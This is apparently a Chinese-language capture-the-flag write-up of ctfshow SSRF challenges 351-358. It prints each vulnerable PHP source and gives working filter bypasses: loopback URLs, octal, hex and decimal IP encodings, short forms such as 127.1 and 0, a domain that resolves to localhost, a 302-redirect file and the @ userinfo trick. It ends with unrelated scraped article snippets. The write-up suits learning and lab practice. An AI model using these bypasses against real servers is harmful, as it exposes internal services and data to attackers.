ctfshow SSRF 351-358
做题前,需要先学习关于ssrf漏洞的相关知识
小注意:
当使用 file_get_contents()
函数访问远程 URL 时,它会尝试获取该 URL 指向的资源的内容,并将内容以字符串的形式返回。
如果 b.php
文件是一个 PHP 文件,它包含的内容取决于该 PHP 文件本身的内容。例如,如果 b.php
文件包含一些 HTML 和 PHP 代码,那么 file_get_contents()
将返回这些代码的内容。如果 b.php
文件是一个纯文本文件,那么 file_get_contents()
将返回该文本文件的内容。
需要注意的是,如果 b.php
文件包含了 PHP 代码,并且该代码生成了输出(例如使用了 echo
或 print
函数),那么 file_get_contents()
返回的内容将是该 PHP 文件执行后生成的输出。如果 b.php
文件只包含 PHP 代码,没有输出,则 file_get_contents()
返回的内容将是空字符串。
SSRF原理(详细)
351.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
这个代码,就是我们能访问的服务器的源代码,它没有任何绕过,没有任何过滤,我们需要的flag存在于flag.php文件中,但是这个文件是我们可以访问的服务器通过中转的方式,才能获取的,也就是说只有这个服务器可以访问,如果我们直接访问就会出现
明白了,我们将所需要访问的url改为本地访问即可,因为代码在别人的服务器上运行,我们只需要用回环地址,找到flag.php文件即可,post传参进去即可,
url=http://127.0.0.1/flag.php
352.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
这个添加了过滤,让我们的伪协议只能是http/https协议,可以杜绝使用file协议等使用了白名单,
后面,他又使用正则表达式,可能是想要过滤localhost和127.0.0,但是他缺少了一个重要的参数,也就是后面需要检查的字符串变量,导致无论如何都可以检查过关,所以忽略不看,通过两个条件,我们可以发现上一个题的payload依旧可以在这一个题上使用,所以做法一样
353.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
这个代码依然是希望我们使用http/https协议,这里完全匹配了127.0.0.1,同时。也被过滤掉了,这要求我们通过其他方式过滤,这里我们使用进制进行过滤
127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
354.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
这个我们直接看正则表达式,过滤localhost/0/1/。没办法,只能考虑其他办法了,这时有一个DNS解析的方法来了,众所周知,由于ip地址太过难记,所以人们搞出了域名,以十分好记的名称一对一的储存在DNS解析器中,例如人们知道百度的域名baidu.com,但是不记得他的网站ip地址,
对于这个题呢,127.0.0.1这个环回ip的域名除了localhost以外,http(s)/sudo.cc/这个域名的解析是指向127.0.0.1的
其它可以参考这篇文章
一些公共 http 域名,但是解析到 127.0.0.1
亲测有效!!
355.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
这个的要求就是主机名不能超过5个字符,这里又来一个姿势点,
有关于ip地址的转换,这一篇博客就够了
ip地址进制转化
简单来讲就是,当以4小节储存的ip地址中间两节全为0时,可以酌情省略,其他情况想将ip地址转化为4小节以下的节数时,需要将4节的二进制数均分为2节,或者只要一节,同时进行进制转化,
所以按照规则,127.0.0.1可以写成
ping 127.0.0.1
ping 127.0.1
ping 127.1
:ping 0x7f.1
:十六进制ping 2130706433
:十进制
而对于本题来讲,可以直接127.1即可
356.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
这个题进一步压缩长度在3个字符以下,emmm,看来还需要一点新知识......
了解得知,经过省略的ip地址 0 在linux系统中会解析为127.0.0.1,在windows系统中则是0.0.0.0
而对于我们这道题来讲,这种题通常挂在服务器上搭建linux系统,可以用0,试一试,当然,我这里只是试一试,并不是确定了它的操作系统就是linux哈,
我这一试,出来了.66666
好吧,是看别的师傅做的,我也是菜鸟啊,可以原谅
357.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?> scheme
这个代码主要的判断是FILTER_FLAG_NO_PRIV_RANGE
和 FILTER_FLAG_NO_RES_RANGE
FILTER_FLAG_NO_PRIV_RANGE
和 FILTER_FLAG_NO_RES_RANGE
是标志,用于指示不接受私有地址和保留地址。
FILTER_FLAG_NO_PRIV_RANGE
和 FILTER_FLAG_NO_RES_RANGE
是 PHP 过滤器中的标志(flags),用于过滤 IP 地址。
-
FILTER_FLAG_NO_PRIV_RANGE
:当用于FILTER_VALIDATE_IP
过滤器时,这个标志会阻止私有地址范围(Private Address Range)的 IP 地址通过验证。私有地址范围包括以下 IP 地址段:- 10.0.0.0 到 10.255.255.255
- 172.16.0.0 到 172.31.255.255
- 192.168.0.0 到 192.168.255.255
- FC00::/7 (IPv6)
-
FILTER_FLAG_NO_RES_RANGE
:当用于FILTER_VALIDATE_IP
过滤器时,这个标志会阻止保留地址范围(Reserved Address Range)的 IP 地址通过验证。保留地址范围包括以下 IP 地址段:- 0.0.0.0 到 0.255.255.255
- 169.254.0.0 到 169.254.255.255
- 127.0.0.0 到 127.255.255.255
- 224.0.0.0 到 255.255.255.255
- ::1 (IPv6)
- FF00::/8 (IPv6)
这里需要公网ip所以我们需要有自己的服务器来搞定这个事情,创建一个文件
<?php
header("Location:http://127.0.0.1/flag.php",TRUE,302);
访问即可.这个题有这样一个知识点
302重定向是HTTP状态代码之一,表示临时性的重定向。当服务器收到客户端的请求后,如果需要将请求的资源临时重定向到另一个URL,但未来可能会恢复到原始URL时,就会返回302状态码。这意味着客户端应该继续使用原始URL进行后续请求,因为重定向是暂时的。302重定向常用于网站维护、临时性更改或者流量控制等场景。
也就是说,可以通过重定向的逻辑,将我们需要访问的url放在重定向后,用第一个url去绕过我们当前服务器的逻辑,
358.
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}
这个题的判断规则就是,匹配以http://ctf开头,show结尾的字符串,这个就是用@符号规则来访问他的flag文件,对于这个来讲只需要
http://ctf@127.0.0.1/flag.php即可
相关文章:

ctfshow SSRF 351-358
做题前,需要先学习关于ssrf漏洞的相关知识 小注意: 当使用 file_get_contents() 函数访问远程 URL 时,它会尝试获取该 URL 指向的资源的内容,并将内容以字符串的形式返回。 如果 b.php 文件是一个 PHP 文件,它包含的内容取决于该 PHP 文件…...
优化学习方法,事半功倍
学习,是人一生中必不可少的过程。在学习的道路上,我们会遇到各种各样的挑战和困难,但只要我们能够发现并优化适合自己的学习方法,就能事半功倍,取得更好的成绩。 首先,要充分了解自己的学习方式和习惯。每个…...
Spring STOMP-开启STOMP
通过Spring框架的spring-messaging和spring-websocket模块,提供了对WebSocket上STOMP的支持。一但你添加了这些依赖项,你就可以像下面这个示例一样,通过WebSocket公开一个STOMP端点: import org.springframework.web.socket.conf…...

Python 开发 框架安全:Django SQL注入漏洞测试.(CVE-2021-35042)
什么是 Django 框架 Django 是一个用 Python 编写的 Web 应用程序框架。它提供了许多工具和库,使得开发 Web 应用程序变得更加容易和高效。Django 遵循了“MTV”(模型-模板-视图)的设计模式,将应用程序的不同组件分离开来&#x…...

《Python编程从入门到实践》day25
# 昨日知识点回顾 如何创建多行外星人 碰撞结束游戏 创建game_stats.py跟踪统计信息 # 今日知识点学习 第14章 记分 14.1 添加Play按钮 14.1.1 创建Button类 import pygame.font# button.py class Button:def __init__(self, ai_game, msg):"""初始化按钮…...

Unity 性能优化之光照优化(七)
提示:仅供参考,有误之处,麻烦大佬指出,不胜感激! 文章目录 前言一、测试目的一、实时光源是什么?二、开始测试1.场景中只有一个光照的数值情况2.添加4个点光源后4.结果 总结 前言 实时光源数量越多&#x…...

C语言 | Leetcode C语言题解之第84题柱状图中最大的矩形
题目: 题解: int largestRectangleArea(int* heights, int heightsSize) {int st[heightsSize];int p[2];p[0]-1,p[1]heightsSize;int size0,result0;st[size]0;for(int i1;i<heightsSize;i){ while(size!0&&heights[i]<heights[st[size-1…...

AI办公自动化-用kimi批量重命名Word文档
文件夹里面有很多个word文档,标题里面都含有零代码编程,现在想将其替换为AI办公自动化。 在kimichat中输入提示词: 你是一个Python编程专家,要完成一个编写Python脚本的任务,具体步骤如下: 打开文件夹&am…...
Golang 并发 Mutex 互斥锁的使用
Golang 并发 Mutex 互斥锁的使用 1. 初始化 func TestMutex(t *testing.T) {mu01 : sync.Mutex{}var mu02 sync.Mutex }两种方式都ok 2. Mutex使用 计数器统计,多个协程同时对同一个变量进行 代码示例 var mu sync.Mutex var counter intfunc TestMutexAdd(t…...

20232906 2023-2024-2 《网络与系统攻防技术》第九次作业
20232906 2023-2024-2 《网络与系统攻防技术》第九次作业 1.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件。 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。 该程序同时包含另一个代码片段,getShell&am…...
常见的十二种软件架构
常用的软件架构有多种,以下是一些主要的软件架构风格: 单体架构(Monolithic Architecture): 描述:所有功能都集中在一个应用或系统中,易于开发和部署,但随着系统增长,可能…...

数据库出现死锁的解决方法参考
死锁引起的原因一般是多个用户并发访问数据库导致的问题,或是因为某个进程挂死以后资源未释放导致的。通过onstat –p可查看deadlks项大于0即表示历史总计死锁次数。对于被锁的表进行操作的时候会出现-143 ISAM error: deadlock detected的错误。当其他会话访问此表…...
HCIP-Datacom-ARST自选题库_01_防火墙【6道题】
一、单选题 1.在防火墙域间安全策略中,请问以下哪一项的数据流不是Outbound方向的? 从Trust区域到DMZ区域的数据流 从Trust区域到Untrust区域的数据流 从Trust区域到Local区域的数据流 从DMZ区域到Untrust区域的数据流 2.如果防火墙域间没有配置安全策路&…...

力扣/leetcode383.比特位记数
题目描述 给你一个整数 n ,对于 0 < i < n 中的每个 i ,计算其二进制表示中 1 的个数 ,返回一个长度为 n 1 的数组 ans 作为答案。 示例 代码思路 第一种方法 最简单的方法就是,遍历然后使用python自带的bin()方法直接…...

react18【系列实用教程】useEffect —— 副作用操作 (2024最新版)
什么是副作用操作? useEffect 用于编写由渲染本身引起的对接组件外部的操作(官方称呼为:副作用操作) 以下情况会触发页面渲染 初次加载页面(组的挂载)响应式变量发生变化,触发页面根据新值重新…...

Excel 分组汇总后删除明细
有 Excel 数据如下所示: IDCriteria1Criteria2Criteria3Criteria4101210271239312381236123171826182918239182120182147 需要按 ID 分组汇总其余列,结果如下: IDCriteria1Criteria2Criteria3Criteria410121027123932561826939267 解法及简…...

docker runc升级1.1.12
上传runc-1.1.12制品至中控机 874e970eaa932a97de9888344ae08f24 runc.arm64 将所有节点的runc文件备份 所有节点(包括master+node) vim host [all] 10.1.0.183 ansible_password=Bigdata@Ksyun123 ansible_user=root ansible_port=22 10.1.0.249 ansible_password=Bigdata…...
C++接口:构建模块化与可扩展的软件架构
目录标题 1. 接口的定义与作用2. 抽象类作为接口3. 接口的设计原则4. 示例:使用接口实现多态5. 拓展:接口和类的区别6. 结论 在C编程中,接口是一种重要的设计模式,它定义了一组方法,这些方法可以被不同的类实现。接口在…...

【讲解下目标追踪】
🌈个人主页: 程序员不想敲代码啊 🏆CSDN优质创作者,CSDN实力新星,CSDN博客专家 👍点赞⭐评论⭐收藏 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共…...

实时Linux对EtherCAT工业自动化协议的支持
在自动化技术和工业控制领域,实时通信网络的重要性不断增长。EtherCAT(Ethernet for Control Automation Technology)作为一种高效的工业以太网通信协议,因其出色的性能和灵活性而广受欢迎。而实时Linux作为影响最为广泛的开源实时…...

Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
Spring AI与Spring Modulith核心技术解析
Spring AI核心架构解析 Spring AI(https://spring.io/projects/spring-ai)作为Spring生态中的AI集成框架,其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似,但特别为多语…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...
GitHub 趋势日报 (2025年06月06日)
📊 由 TrendForge 系统生成 | 🌐 https://trendforge.devlive.org/ 🌐 本日报中的项目描述已自动翻译为中文 📈 今日获星趋势图 今日获星趋势图 590 cognee 551 onlook 399 project-based-learning 348 build-your-own-x 320 ne…...

C++ 设计模式 《小明的奶茶加料风波》
👨🎓 模式名称:装饰器模式(Decorator Pattern) 👦 小明最近上线了校园奶茶配送功能,业务火爆,大家都在加料: 有的同学要加波霸 🟤,有的要加椰果…...

elementUI点击浏览table所选行数据查看文档
项目场景: table按照要求特定的数据变成按钮可以点击 解决方案: <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...
TCP/IP 网络编程 | 服务端 客户端的封装
设计模式 文章目录 设计模式一、socket.h 接口(interface)二、socket.cpp 实现(implementation)三、server.cpp 使用封装(main 函数)四、client.cpp 使用封装(main 函数)五、退出方法…...

算法—栈系列
一:删除字符串中的所有相邻重复项 class Solution { public:string removeDuplicates(string s) {stack<char> st;for(int i 0; i < s.size(); i){char target s[i];if(!st.empty() && target st.top())st.pop();elsest.push(s[i]);}string ret…...
更新 Docker 容器中的某一个文件
🔄 如何更新 Docker 容器中的某一个文件 以下是几种在 Docker 中更新单个文件的常用方法,适用于不同场景。 ✅ 方法一:使用 docker cp 拷贝文件到容器中(最简单) 🧰 命令格式: docker cp <…...
软件工程教学评价
王海林老师您好。 您的《软件工程》课程成功地将宏观的理论与具体的实践相结合。上半学期的理论教学中,您通过丰富的实例,将“高内聚低耦合”、SOLID原则等抽象概念解释得十分透彻,让这些理论不再是停留在纸面的名词,而是可以指导…...